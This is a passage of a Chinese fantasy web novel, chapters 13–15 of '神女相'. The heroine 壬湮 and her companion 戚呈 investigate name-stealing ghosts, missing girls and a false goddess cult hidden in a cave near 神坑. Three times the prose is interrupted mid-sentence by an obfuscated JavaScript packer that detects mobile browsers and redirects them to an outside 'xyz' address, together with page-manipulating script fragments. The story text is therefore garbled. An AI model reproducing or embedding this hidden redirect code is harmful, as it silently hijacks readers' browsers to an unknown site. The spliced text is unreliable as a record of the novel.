壬湮不在意地继续道,“神女庙?哪个神女?” “神女就是神女,什么哪个神女。”神女那么多,看来凡世人供奉神明都不区分的。 “无缘无故为何去神女庙?”据她所知,人们一般都会在节日时会去神女庙。 “戚小姐问题真多。”高采漪似是被问烦了,朝旁边凳子上一坐,未答。 “高小姐还是仔细想想吧,毕竟其中缘由或许可有解决之法。当然,如果高小姐不想破解就当我们多事了,为保路上安全,我们还是分开上路吧。”说话的是一旁的戚呈,见状便要拉着壬湮离开。 见二人要走,高采漪慌了神,起身急忙道,“戚公子,我不是这个意思,戚小姐,我都说,别丢下我们啊。” 即将走出门的壬湮用另一只手拍拍被戚呈拉着的左手,示意他稍等。 “我们是……是去求姻缘的,这次回家就是因为家里人要给安排婚事。”说着偷偷看了眼戚呈,无奈戚呈背身对着她,什么表情也看不到。 “我就想着既然跟喜欢的人无缘,那不如去求求神女,能嫁个好郎胥。”“只是神女庙有神女守护,怎会有盗名鬼这种东西呢,应该不会是这里。” “再未去其他地方吗?” “都是平日里经常去的,再没有特别的地方。”高采漪又仔细想了想最近几日去过的地方,确实除了神女庙再未去其他可疑的地方。“那我们现在该怎么办?” 此时戚呈已经转过身来,高采漪看向他,他看向壬湮,壬湮看向天花板。 不是刚刚说没办法吗?“既然现在没有办法,还是尽快赶往邑城吧,那里异士多,应该有破解之法。” 但见高采漪仍然忧心忡忡,无心上路的样子,又说道,“若高小姐担心接下来的几日,不如晚上和我同住。” “啊?”壬湮看出来了她眼中的想法,一个看上去比自己还弱的女子,关键时刻能有什么用,最多当个垫背的。 “怎么,你还想和我哥哥住一间不成?想的挺美。”壬湮忍不住白了她一眼,以为她好心吗,不过是想早点赶路,不想在这里浪费时间罢了。 “你……”这次壬湮没再管已经满脸通红的高采漪,复而拉着戚呈跨出了房门。 接下来的几日,许是有人陪着,盗名鬼晚上倒是没有再出现,一行人在三日后安全到达了邑城高家。 因为连日赶路,壬湮和戚呈应高家热情邀请便在高家住了一晚。 春日的夜,寂静微凉,间或有几声虫鸣。 壬湮和戚呈远远从高家前厅走来,结束了高家的宴会,声乐渐息,两人正往自己休息的屋子走去。 “今日未看见高采漪,于雪倒是去了,不过看样子仍是没有恢复。”两人边走边聊起了盗名鬼的事情。 “说来有些奇怪。” “哪里奇怪?”壬湮看向戚呈,刚刚在宴会上的不耐已经消失了。 “若被盗名鬼盯上,必然会被占取躯体,虽与原身体的主人不同,但绝不会像如今这样失了神魂似的。只有一种可能,盗名鬼失败了。” “失败?也是,不然也不可能又缠上了高采漪。” “不可能,盗名鬼是死后忘记自己姓甚名谁的鬼,死后怨念所致选定活人盗取他的身份和躯体。但一旦选定,就像赌徒下注买定离手,成功则能代替那人得以活下去,若失败就是灰飞烟灭。” “所以,缠着高采漪的盗名鬼是另一个。有没有可能,跟着她二人出来的不止一个。”壬湮惊奇地说出自己的想法,没注意脚下的路,被小路上的石头磕绊了一下。 “极有可能。小心些,有没有伤到。”说着戚呈扶住壬湮,将她扶正。 “是谁在那儿?”壬湮还未发声,便听戚呈喝道。 仔细一听,声音是从一旁的假山后发出的。 二人放轻脚步渐渐接近,声音越来越清晰,是一个女子的喃喃祝祷声。 “神女降世,魂归天泽,护佑众生,助主天呈。”又走近了些才听出是于雪的声音。 壬湮在假山的掩映下,看见身着白衣的于雪正伏地跪拜,“她在跪拜什么?”视线转向她的对面,亦是假山石,并无她嘴中念叨的神女或者神女像之类的。 “神女降世,魂归天泽,护佑众生,助主天呈。”于雪还在不停地跪拜祷祝。 只是,“不似简单的跪拜,倒像是朝拜,向北而拜。”壬湮急急转身问向戚呈道,“邑城城北有神女庙吗?” “邑城只有一座神女庙,在西南。北面……北面是。” “神坑!”二人同时道。 饶是这声音不自觉地升高,仍是未惊扰到那边的于雪,拜完之后才匆匆离去。 由于萧赭还有几日才抵达神坑,壬湮二人决定在高家再待几日,也好弄清楚昨晚的怪事,毕竟这极有可能和神坑有关系。 一路跟着的那批人也一直未有异动,应该是永昼城里还有一股势力在保护萧赭。 白日里无事,壬湮喊上戚呈陪自己逛了逛邑城。 邑城比不得永昼城繁华,但也有不一样的凡世气息。 二人未再街市上久逛,便寻了家酒楼,在大厅角落坐了下来。 “哥哥,这凡世确实美好,你说鬼域什么时候也能变成这样呢?”壬湮倚在窗户旁看着世人的生活百态,轻叹。 不知是在与戚呈说,还是在与他人说。 “阿……小烟。” “对了,当年永夜城照进去的那束光,现在怎么样了?”壬湮把目光从窗外移回戚呈身上。 “那束光,如今成了永夜城的福泽,给鬼域带去了生的希望。”戚呈回望着壬湮,此刻的她就像是回到了女帝时期,时常会在还是稚童的他面前露出对未来的向往和迷茫。 “是吗?”戚呈听出了她语气中的质疑,还未说话,一声高亮的声音传入了众人的耳中。 “他奶奶的,城南何家又丢了一个女儿,这帮歹人真是太猖狂了,若是让我侯四抓住,定叫他们知道什么叫活地狱。”说话的是一个五大三粗的中年男子,留一圈络腮胡,扛一把大刀,进来就往长凳上一坐,气愤道。 “什么?何家小姑娘也被抓走了?这都是今年第几个了!”待中年男子的声音一停,周围的议论声马上接了起来。 酒楼、茶肆和青楼真不愧是甲纥说过的最容易收集信息的地方,这才坐下一会儿消息这不就来了,壬湮想着下次一定要去其他两个地方试一试。 “不会真的是有什么鬼怪把这些女孩子给抓走了吧!” “不会是那里吧?”一个声音小心翼翼地插了进来,声音虽小,还是被人听见了,仔细一听又更像是故意的。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14778900|157933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “哪里?你倒是说清楚啊!” “自然是鬼域啊。” “啊?那我们怎么办?我们是不是该赶紧逃啊?” 酒楼大厅一时间有些人心晃动,为接下来的灾祸而担忧,而壬湮只是冷眼看着人群。 “少在那里搅动人心,若是鬼域,死的岂是这几个手无缚鸡之力的闺阁女子,怕是在座的各位现在都已经身首异处了!”发出呵斥的仍是刚刚那个中年男子,不同于刚刚的义愤填膺,壬湮略一挑眉,倒是个懂形势之人。 只是,鬼域也没有那么残暴吧,这话她不爱听。 壬湮任凭人群继续讨论着这怪事是否和鬼域有关系,将目光移向人群,仔细地观察着每个人的神态。 找到了,那个张口闭口就是鬼域的人,身形瘦小缩在人群的后面,很难让人注意到他。 “哥哥,看到那个穿褐色麻衣的人了吗?”壬湮唤了一声对面的戚呈,朝那人的方向努了努嘴。 “嗯。”戚呈朝那人瞥了一眼,他刚刚一直背对着众人,未曾注意到。 “打他!” 在戚呈还未反应过来之际,壬湮已经甩着袖子冲了出去,“你这个骗子,骗得我们兄妹好惨啊!”人群一时间皆让壬湮这一嗓子吸引了注意力。 “大家伙儿帮帮忙啊,这骗子狡诈,坏得很呐。”人们听了壬湮的话,不疑有他,纷纷上前准备帮忙,场面一时有些混乱。 这时戚呈也紧随其后冲过来抓住那人的衣角,可就在壬湮一挡一搁之间,那人犹如泥鳅般挣脱而出逃出了酒楼的大厅。 “哥哥,你去追!”壬湮顺手推了一把戚呈,戚呈看了她一眼,似有担忧。 “放心。”戚呈这才追出去。 随着二人一前一后出了酒楼,壬湮顺势假意一摔,挤出一声哭腔,“呜呜呜。” “小姑娘别哭,我们这么多人怕他作甚,发生了什么尽管与我们讲来,我侯四定为你主持公道。”仍是刚刚的中年男子,真是侠肝义胆之人呐! 壬湮在他说完之后表演得更卖力了一些,“呜呜呜,这骗子上几天差点儿将我拐了去,像我这种手无缚鸡之力的姑娘家哪经历过这样的事,更是敌不过那坏人,幸好哥哥赶到,不然我定是有去无回啊!” “我刚刚看他就不像好人,就是他一直在提醒我们鬼域的魔物有多可怕。” “对,就是他,我看他才像魔物!”人声已经完全偏向壬湮这边了。 “小姑娘别怕,咱们城主一定会将他抓住的!” “你们说,这失踪的姑娘们会不会也跟那人有关系啊?” “我看啊,这八九不离十,就是他!” “是还有其他家的姑娘也让人拐卖了吗?”这时壬湮柔柔的声音插了进来。 “是啊,光转过年来就有五六个了,这不昨日何家的女儿就丢了,现在城里头未成婚的姑娘家就连白日里都不敢出来了,真是造孽啊!” “何家?何家居于何处,说不定我可以提供些线索,帮上些忙。”壬湮见缝插针道。 “没想到姑娘虽看上去柔弱,却如此心善,在下侯四,不知姑娘怎么称呼?”侯四看向壬湮,顺便介绍了自己。 “小女姓戚。”壬湮一颔首。 “戚姑娘。”侯四回以抱拳,算是认识了。 二人并没有立即赶往何家,而是约定了下午,人群散后,壬湮在原位置等了戚呈一会儿。 半个时辰后,戚呈赶了回来,衣衫被划了一道,但并未抓到人。 “可是去了何处?”壬湮一早便知道抓不住,也不能抓住,不然对方怎么玩。 “十分巧,还是神坑。”又好像是能猜得到的。 “那看来这一趟会有不少收获呢!”壬湮突然来了兴致。“走吧,哥哥,我们去会一会这些鬼怪。” 13. 神女相(四) 已近黄昏,落日残辉映入湖水中,击鼓人敲击出的鼓声渐渐隐没于归巢的鹊声中。 一名女子缓步独行于北往的路上,山间土路并不好走,女子走得艰辛,可未见停歇。女子的裙摆沾染了许多尘土,若仔细看那女子,才发现她竟然双目无神,宛若无魂的人偶。 “扑棱”,一只乌鹊扑腾着翅膀飞向远处。猛的,那女子被伸过来的一只手扯住肩膀,一个踉跄,居然仍是未发出声音。 “珍儿,珍儿,你这是怎么了?”是中年男子的声音,其中透着焦急与担忧。 “何叔,令爱好似有些不对劲。”说话的是一同前来的侯四,中年男子自然是昨日失踪女子的父亲。 确实不对劲,父亲连叫了数声,何珍只是未含任何情绪地看了他一眼,未曾回应。 霎时,何珍挣脱了胳膊上父亲的手,向北而拜,“神女降世,魂归天泽,护佑众生,助主天呈。” 果然,后来赶至的壬湮和戚呈对视一眼,这神坑里的秘密越来越大了。 “何伯父,何小姐现在状况很差,但好在是找回来了,不如先带她回去再寻方法救治。”壬湮在一旁宽慰道。 听见壬湮的声音,何父方才想起二人,“这次多亏戚小姐,我们才能寻回珍儿,真是救了珍儿一命啊!”说着朝壬湮行了一大礼,壬湮也未推辞,属实是不知道凡世还有“客气”一说。 “戚小姐在邑城有能用得着我们何家的地方尽管说,我们定义不容辞。”壬湮点头算适应了,何父便将女儿送上家丁赶来的马车上匆匆离去了。 “戚小姐,戚公子,同样,有侯四能帮的上忙的地方,侯四一定竭尽全力。” 壬湮看向侯四,心思一转,这免费的劳力这不就来了吗?“侯大哥,现下确实有一件事需要你的帮助,不知你可愿意?” “吱吱吱。” “吱吱吱。” 穿过潮湿又阴暗的穴洞,怪异的声音消失,入眼的是一片绯色。绯色绸布的遮掩下,隐隐约约有几个匍匐于地上的身影。 “好痛苦啊,神女大人,您的信徒,求您庇佑。”嘶哑到难辨男女的声音响起,随后是如同河塘蛙声般此起彼伏的祝祷声。 忽而一阵风自洞口吹入,吹动一片红绸,带着丝丝若有若无的海腥的味道发出“叮叮叮”的响声,壬湮从戚呈身后缓缓移出视线。 一个个女子身穿素色衣裙,双手手心朝上合于头顶,身子伏于地面,远看是一个个虔诚的信徒,若是忽略女子们偶有起身时脸上流露出的痛苦之色的话。 “叮叮叮”,一阵清脆的铃铛声响起,女子们渐渐直起腰身,双手合十于面前。脸上的痛苦之色也渐渐消解,甚至泛起红晕。 “叮叮叮”,铃铛声继续,一阵风流涌动,一个身影渐渐显现于众人眼中。 瘦削的身影,同样身着素色长衫,样貌因戴着帷帽无法辨认,右手执一银铃,刚刚的声音应该就是它发出的。 “公子。”众女一呼后又拜了下去。 “神女庇佑众生,也必将庇佑尔等,今日便是你来侍奉神女吧!”听声音是名男子,而且是名年轻的男子,只见他俯首随手指向一名女子,那女子便面露欣喜地准备随男子离去。 “古怪,那女子明明不想去。”壬湮细声道。 “不想去?何以见得,我看她挺高兴的啊!”接话的是侯四。 说来自从被壬湮抓过来帮忙,这一路上无论他问什么壬湮都未做出明确的回答,倒是先问了他是否信奉神女,他到现在仍是一头雾水。 “那女子起身时扯住过身旁另一个女子,眼睛虽未看向她,但手是直到完全起身才松开的。”壬湮未看向他,但这次回答了他的问题。 “他们要走了,我们跟上。”说着戚呈已经动身跟了上去。 “唉?这么多人,怎么……”跟啊!侯四的话还未说完,就看见方才还在身前的两人已经悠然地穿过人群,追着男子而去。这……这是否太容易了些啊! 无奈,侯四也跟在二人之后追了上去,路过红绸时不小心扯了一下发出叮叮声,重新伏了一地的女子像是未曾看见三人一样,任由他们去了。 待男子停了下来,三人已经跟着七拐八扭地来到了地穴深处。三人以洞口的土墙为遮掩,看着洞内的情景。 比刚刚众女跪拜的地方稍微小一些,摆放了简单的桌椅等物什,四周燃着长明灯。 最显眼的要数正对着三人的水晶宝座,在四周灯光的照映下仿佛散发着神圣的光晕。 不同于刚刚一路走来无一人看守的情况,这个小殿内却足有十几人看守,立于灯下,不像是在保护什么,倒更像是在看守什么重要的犯人。 “恭请神女。”男子一声过后,便将帷帽摘了下来,露出了面容。一张略显清秀的脸庞,眉眼柔和,眉尾纤淡,毫无攻击的眼神中透着虔诚。 “叮叮叮”,同样的银铃铛声响起,一名身着华丽的女子在两名素色衣衫女子的搀扶下从侧门缓步而入,女子面带轻纱,从双眼中只得看出一片肃然。 这应该就是男子口中的神女了,那场大战中她见过所谓的神女,悲天悯人什么的壬湮倒是未曾看出,虚伪假意倒是看了个真切。 随着神女的到来,男子与他挑选来的女子皆跪伏于地面。 神女依旧神情淡漠地从二人身前经过,甚至未给周围任何的事物一个眼神,给人一种奇怪的感觉,不是高高在上,而是木然的感觉。 待到神女坐于水晶宝座上时,男子已双膝跪地行至她跟前,一手轻抬起神女的左脚,慢慢俯身,竟是吻了上去。 “吾之神佛,让我匍匐于您的脚下,亲吻您的脚背,请您降下福泽,成全您的信徒。” 反观神女仍是一脸淡然,不曾给这位忠诚的信徒一个回应。 男子未表现出任何不满,回首轻咳一声,似是在催促身后的女子。若是眼力再好一些就会发现,那女子合于头顶的手竟是在颤抖。 “请……请神女降下福泽,成全您的信徒。”随着说话声音,女子渐渐挺直腰背,面带幸福的笑容,仿佛刚刚的颤抖全是假的。 几息间的沉默,神女的眼神终于转向女子,瞳孔略一张,但随即恢复了淡漠。“你……你……逃……”奇怪,一个话都说不连贯的神女。 神女还欲说什么,只是已经被起身的男子挡住了视线,“神女殿下,该进行降福仪式了,不然误了时辰,得有多少人遭殃呢!” 不似提醒,倒含着些许威胁的意味。看来这能做的了主的不是神女,而是那男子。 在男子的示意下,两旁的侍女将神女扶起,准备行至中间的空地处。 一侍女将空地处的灯台点燃,三人才发现那边还有一不算特别高的圆台,圆台上刻着奇怪的纹路与符号,像是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14778901|157933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进行某种神秘仪式的祭台。 同时男子失去了耐心,将跪在地上的女子拉拽到圆台上。 “降福仪式开始。”男子一声令下,连同侍女在内,都跪了下来,等待接下来的仪式。 只见神女已恢复“正常”,立于圆台中心,右手置于那女子的头顶,眼睛随即合上,嘴中轻声念着什么,由于距离太远,三人听不真切。 仪式已然开始了,一片白光自神女的手中散出,笼住了女子。女子的表情开始渐渐变得痛苦,好似有什么东西正从她的身体中流走。 时间不是很久,仅仅过了半刻钟,痛苦的表情开始变得享受,竟是露出了幸福的笑容。 “咔嚓”,什么东西碎裂的声音响起,引起了壬湮三人的注意,也同样惊动了圆台上的四人和一屋子的守卫。 “各位,看来今天这戏就只能看到这里了。”壬湮对着旁边的二人说道,想必屋内的人也已经听得清楚了。 “跑啊!”虽然那神女肯定是假的,但壬湮不知戚呈再加个普通壮士和她这个健康的普通人都及不上的她,能否打得过这一屋子武力值和法力值都不明的人,还是先跑比较妥当。 “何人?敢惊扰神女者,就地格杀!”男子的声音在身后响起,带着浓重的怒气,毕竟刚刚他们可是打断了人家的降福仪式,虽然这听上去很神圣的降福仪式看上去诡异了些。 壬湮回头看去,屋内的守卫应是追出了一半的样子,追至刚进来的大殿时,眼看就要追上。“侯叔,把这些红绸扯掉。” 侯四听后愣了一下,但见戚呈已经拔出剑开始劈向红绸,守卫已追至眼前了,干脆也抽出自己的刀砍向红绸。 随着一阵杂乱的叮叮当当声响后,红绸渐落。 本来伏在地上的女子们皆露出痛苦的神色,接着是奋力地挣扎,向洞外跑去。 追上来的守卫一时间被这混乱的场面绊住了手脚,不知是该先追他们,还是先控制住疯了似的往外逃去的女子们。 壬湮继续向外逃去,果然,这红绸有问题,确切的说是系在红绸上的银铃才是真正控制这些女子的关键。 守卫受到牵绊,他们三人很快便得以逃出洞穴。 神坑外已是黑夜,远处的天阙山脚树影重重,星罗密布的夜空似铁罩般罩下来,与神坑相应好似神佛供台上的食盘。 说不定这九霄外的神,就正在享用这丰盛的一餐呢! “刚刚是什么声音,害我们被发现了。”侯四带着喘息的声音拉回了壬湮的思绪。 只见壬湮从怀中掏出一个椭圆状的东西,“是这个。” “这是……鸟蛋?戚姑娘还喜欢这玩意儿。”侯四的声音中透露着不确定,他不确定一个较弱的小姑娘居然喜欢掏鸟蛋。 壬湮未理会他,而是仔细观察着手上的东西,这当然不是鸟蛋,而是当初在天阙山怪树上摘的果子。 外皮已经被削掉,只剩果壳有些泛白。而果壳上已经出现了一道裂纹,壳内似有什么东西想要破壳而出。 “咔嚓”,它挣脱了外壳的束缚,一个渐渐的脑袋露了出来,紧接着是长条似的身子。 乍一出来有些不适应地晃了下身体,壬湮忍不住伸手一捏,软软的,凉凉的。 若说它像什么,更像是一条蛇,但又不是蛇。 “蛇藤!”中年男子的惊呼。 “蛇藤?” 14. 神女相(五) “蛇藤?”虽有疑问,但几人的脚步未曾停下。 “应是不会错,戚姑娘可否借侯某一看?” “自然。”壬湮将已经缠在手指上的长藤条递给侯四,未料它好似生气了似的用自己软而无力的身躯抽了侯四的手心一下,仿佛在说“我不同意。” 壬湮甩了一下手,企图把它甩下去,却见这蛇藤作委屈状戳戳壬湮的指尖,缠得更紧了。 壬湮无奈,任由它去了,“这蛇藤是什么东西,侯叔识得?” “这蛇藤乃是一种异变的树藤,难见得很。” “难见?在凡世这种东西确实难见了些。” “啊?什么?”侯四没明白其中之意。 “没什么,接着说吧。” “哦,咳,难见倒也不是因为它有灵识,而是因为这东西有些……怎么说,有些蠢。”像是为了应验对它的评价一样,只见壬湮手上的蛇藤用头戳着壬湮的手指,一下失了准头,半个身子掉到了手掌下边。 “确实,既然是个傻的,那也不必留了吧,放我这儿也怪占地方的。”说着就要作势甩掉半只身子已经出去的蛇藤。 这个刚刚降生的蛇藤像是能听懂人语一样,赶紧把身子抽回,又紧紧缠绕在壬湮的手指上,为了证明自己不傻,还左摇右晃了几下拜托不要丢掉自己。 “哎!”只听侯四拖了个长长的音,“不不,这玩意儿虽说傻,但用处还是挺大的,再说你这个看来已经将你认作孵化它的母亲了,很好驱使的。” 啊,谁要当一个低级灵物的母亲。 “用处?比如呢?”她倒是没看出了这弱弱的一只能有何用。 “比如递递杯子,提提包裹什么的。” “……”应该是个人都能做,而且会比它做得好。 手指上摇摆的力度更大了,仿佛在说:他说的不对,我还有很多用处,留下我! “留下倒也没什么,只是这万一以后长成怪树那般大,那怎么带得了。” 只见蛇藤听了马上将自己的身体扭成麻花样,壬湮饶有兴趣地看着它,突然有了耐心想看看这有脑子又似没脑子小东西想干什么。 只是接下来蛇藤的举动让壬湮很是后悔刚刚的放任,扭成麻花的蛇藤“咻”地一下插入壬湮发间,原来是想作一支发簪,证明自己可以千变万化,不会变成树那般庞大的。 “哈哈哈哈哈,这木头簪子,很是特别!”是侯四爽朗无恶意的笑声。 “是丑得要命的簪子吧,更想丢掉了怎么办。”忽然起了逗弄的心思。 蛇藤马上从壬湮头顶下来,还带下了壬湮一缕青丝,见状立马作求饶状,不断地扭动身子,急切地证明自己还可以变幻成其他的形状。 “罢了,你变成手镯的样子吧。”起码还有衣袖可以遮一遮,不至于太显眼,显得自己这昔日的女帝掉价,虽然现在知道她身份的也没几个人。 看着马上扭成一个圆圈的蛇藤这次没敢上前,而是等待壬湮的示意。待壬湮伸出手后,便迫不及待地套上纤嫩的手腕,不能说话但却能看的出狗腿的样子。 壬湮无奈摇头,这真的是那棵伤了他们多人怪树的后代吗?不是这果子被调包了,那就是那棵树有问题。 第二日一早,押送萧赭的队伍已经到了神坑东侧临近东海的流放之地,这里与漠北接壤,寒冷而干燥,环境恶劣,多大靖人和逃难到此的漠北人混居。 壬湮二人只远远看了情况,见押送的人收了东西离去后,他们的生意也算是完成了,萧赭接下来的生活肯定早已有人打点好了。 远远看着这个脸上还有些稚气的少年,居然已经经历了国破家亡与流放之灾,那双未有多大波澜的眼神中却给她一种藏了一只年幼的雄狮一般,只是暂时将爪子收起,静静蛰伏,待羽翼丰满必定会给敌人致命的一击。 一只雄狮的成长,或许就在不远的将来。 此后壬湮未再特意关注过萧赭的境况与动向,很多事情如今与她关系不大,如今重要的是魇之左瞳。 可如今探查神坑后,除了在东海上岸必经的码头寻到过下任鲛人新皇踪迹外,他的踪迹在离开神坑中央的沙漠区域就消失了。 神坑周围只邑城一座城池,排除那里,就只剩昨晚去过的西部地穴了。 壬湮突然想起昨晚在一众女子身后闻到的淡淡的海腥味,地穴与天阙山相连,由于和居民较多的东部之间隔了大片沙漠,海风很难吹到这里,条件也更恶劣,所以一般无人会在此定居,怎会出现海腥味呢。 与戚呈一合计,二人决定还要再次穿越一遍沙漠,探一探那奇怪的地穴。只是在此之前需要寻几个帮手。 二人在东部镇上又待了半日,打听到神坑并非是无人管理的遗弃之地,此地一直都属于大靖朝的管辖范围,虽有漠北人杂居,但也算是朝廷默许了的事。 由于地方偏僻且荒芜,皇室派来的管理者大多是来历练的,为自己的履历增添一笔,多半待上两年就升迁了。 如今的管理者来头也是不小,是永昼城城主之女的夫婿,名叫方拜生。奇怪的是夫妇二人上任已是三年有余,一直未曾回调,依照永昼城城主殷耀之前宠女的程度,不可能任由他女儿在如此艰苦的环境中生活这么多年。 临出发时戚呈叫上了之前从胡拂女那里租来的一名异士,名叫霍仵,一个来过神坑,对神坑比较熟悉的人。壬湮看看一直跟着的侯四,又带上他,几人终于准备出发。 几人来到地穴处已近傍晚,光线不佳,找了一会儿才找到入口。 “咦?”两个人同时发出疑问声,一个是侯四,一个是霍仵。 “怎么了?”壬湮首先问向侯四。 “这地穴不是我们上次来过的那个。” “有何不同?” “地穴倒是看不出不同,但这处上次来没有树。”确实也不能一夜间长出棵树来。 “那这种地穴入口或许不只这两个,而且应该都在附近。” 几人未再纠结入口的问题,要紧的还是弄清楚洞内之事。 由于不是上次的入口,进来后未见到上次那一众跪拜的场景,洞内一片漆黑,过了拐角处有两个轮班的守卫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14778902|157933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,被侯四和霍仵轻松解决。 洞内分岔路口不是很多,但却弯弯绕绕,一个不小心就容易在下一个拐角处邂逅正在巡视的侍卫,见面送一掌,这多尴尬。 第一个分岔路口挡在了眼前,四人决定还是一起走,不然哪一方被发现了另一方不能及时知晓,那便成了别人洞中的鳖。 “有了!”壬湮突然想起一物,从怀中掏出一根细长的树藤,“条儿,去探探路。” 没错,条儿是壬湮给蛇藤起的名字,它就算心里更想要一个可爱一点的名字但也不敢表现出来。 蛇藤摇晃着尖尖的脑袋,想要表达自己还小,怎么能一个人去探路呢! “既然没用,那……”壬湮话还未说完,只见一条长长的身影便掠了过去,冲向了左边洞口。 打头阵,必须打头阵,为了生活! “居然有如此聪慧的蛇藤,我倒还是第一次见。”说话的是上次不在,没有见过条儿的霍仵,在他的印象中蛇藤就是有些神智但不多的灵物,可以当宠物,但在正事上还是没啥作用的。 “不过,它好像忘记听我说要找什么了。” 众人:“……” 为保险起见,在蛇藤未回来之前,几人未再动身。 对面霍仵不似侯四一般大老粗一样,看上去有些侠士之气。 “霍小哥儿,你既然是异士,有什么特殊的能力吗?”问话的自然是这里看上去年纪最大的侯四。 “唉,先别急着叫小哥儿,咱俩指不定谁大呢!”霍仵冲侯四笑笑。 “谁大不明显吗?是吧,戚家兄妹?”侯四将目光转向戚呈壬湮这边,求一个答案。 “侯叔,好像还真不一定。”戚呈也同样冲侯四笑笑,搞得他自己都开始不确定了。 “我是修行之人,比其他人略有些天赋,只是修行之路艰难,空长岁数,本事却没怎么长。说起来今年也该六十二岁了,只是面容还是年轻模样罢了。”霍仵解释道。 “这……”侯四惊讶地看向对面已是花甲之年的“小伙子”,再摸摸自己的脸,这平凡人的岁月呀! 侯四或许不知道,若真正论起来,在场的四人中他还是年纪最小的一个呢! 等了约莫一刻钟的时间,一道细长的黑影钻进壬湮的袖子中,后又露出尖尖的脑袋,等待一个表扬。 一旁的戚呈掐着那个尖脑袋一下子把它的整个身体拽了出来,蛇藤挣扎着扭动几下,见无人解救自己,便蔫儿了下来。 “可曾见着穿着金闪闪的女子了吗?”小脑袋上下不停地点了好多下。 “刚进去还是快出来的时候?”听清楚壬湮问了什么后,蛇藤赶紧扭着身子摆了个“二”的形状。 “我们走。”说着壬湮和戚呈已先行进入了右边洞口。 “哎?可刚刚蛇藤不是走的左边吗?”侯四还有些懵地看着二人。 “侯四兄弟,你刚刚可能没看见,这蛇藤是从右边洞口出来的。” “是嘛!”侯四这才恍然,也赶紧跟了上去,看来这路都是相通的,这谁走谁不迷糊啊! 15. 神女相(六) 在蛇藤的带领下,几人七拐八扭了许久也未找到神女,一路上除了遇到几波似来朝拜的女子之外,侍卫倒不如外围的时候多些。 就在几人快要质疑蛇藤的记路能力之时,“嘘。”随着壬湮的手势,几人看到了正在侍女服侍下进入一间石室的神女,她看上去很疲惫,脚步略有些虚浮。 待神女进入石室后,几人又等了一会儿,发现那日的男子并未出现在此处。 四人一同行动未免过于扎眼,于是戚呈和霍仵先行打探屋内的情况。未过多久,戚呈就打来眼色,虽略远,但壬湮还是看懂了屋内情况明朗,可以行动。 “偷。”只一个字,壬湮未出声,只动了动嘴唇,霍仵未看见二人的交流,还不知下一步如何时,掩嘴轻声在戚呈耳边说了一句话。 戚呈眼神微动,轻扣了两下木门。 “谁?”屋内侍女的声音传出。 这时壬湮已轻手轻脚地走近了门口,“公子派奴来给神女送些物什。” “送东西?不是刚从公子那儿回来的吗?”只听见屋内的侍女自言自语几句,却还是朝门这边走来,随着开门的声音响起,侍女还未看清门外的状况便眼前一黑,昏了过去。 壬湮学着刚刚侍女的步伐,屋内还有一个未解决掉,戚呈在身后踩着她的步调一步步往里踏去。 “小月,怎么了?” “呃……”屋内的侍女还没来得及呼喊也一同倒了下去。 神女刚刚被二人扶坐于榻上,视线中只见下摆的一片衣角,在屋内灯光的映照下闪着细微的光晕。 随着视角转来,神女却不是方正地坐于榻上,而是双目紧闭,身体似是不支一般斜倚在一旁的石壁上。 见状,壬湮轻轻上前唤道,“神女,神女。”未得回应,方才转头冲几人点点头。 此时侯四和霍仵也已经跟了进来,只是霍仵守在门口,侯四已经走到了跟前,不明白地看着壬湮朝他点头。 不明所以之际戚呈已将神女扶起,“这……这是作甚?” “快,背上她,咱们得赶紧离开。”随着戚呈话音落下,昏睡中的神女已经到了侯四的背上,无奈只能用手往后托了下神女的身体,抬步朝外走去。 “这来之前也没人和我说是来偷人……呸,偷神女的啊!” “谁说不是呢侯老弟,我也是方才才知晓的。”虽是这么说,但二人的脚步不停,朝着来时的路奔去。 却说方才一直跟在后面的壬湮突然缓了步伐,并拉住了身旁的戚呈。 “怎么了?”戚呈稍稍附身,贴近壬湮耳侧轻轻问道。 “哥哥,朝这面墙施个小术法。”壬湮指了指面前的墙,戚呈未问照做。 只见受击的墙面不是裂开的石纹样子,反而像是水面荡起层层涟漪一般,这石墙倒似水墙。 “果然,这地穴受过流光珠的加固。”刚刚便发现了这墙的奇怪之处,停下来只是为了验证一下。 “鲛人族的流光珠?听说是鲛人族守护了上万年的宝物,可抵挡万军。”当年壬湮攻打南洋之时,鲛人族也是靠着它退居隔天深渊才能苟活下去,没想到竟然会出现在神坑,只有一种可能,“看来这鲛人未来的新皇果然把它带出来了。” “哥哥,看来这一趟不能就这么出去了。”壬湮的眼神转了转,突然有了主意。 戚呈明显也已经想到了她接下来要干什么,但还是在壬湮的推搡下进了刚刚神女的房间,壬湮迅速扒了刚刚侍女身上的衣服去里间换上。待她再出来时,戚呈已将刚刚的两个侍女藏了起来。 “还等什么?变吧。”壬湮朝戚呈的方向努努嘴,略有些期待。 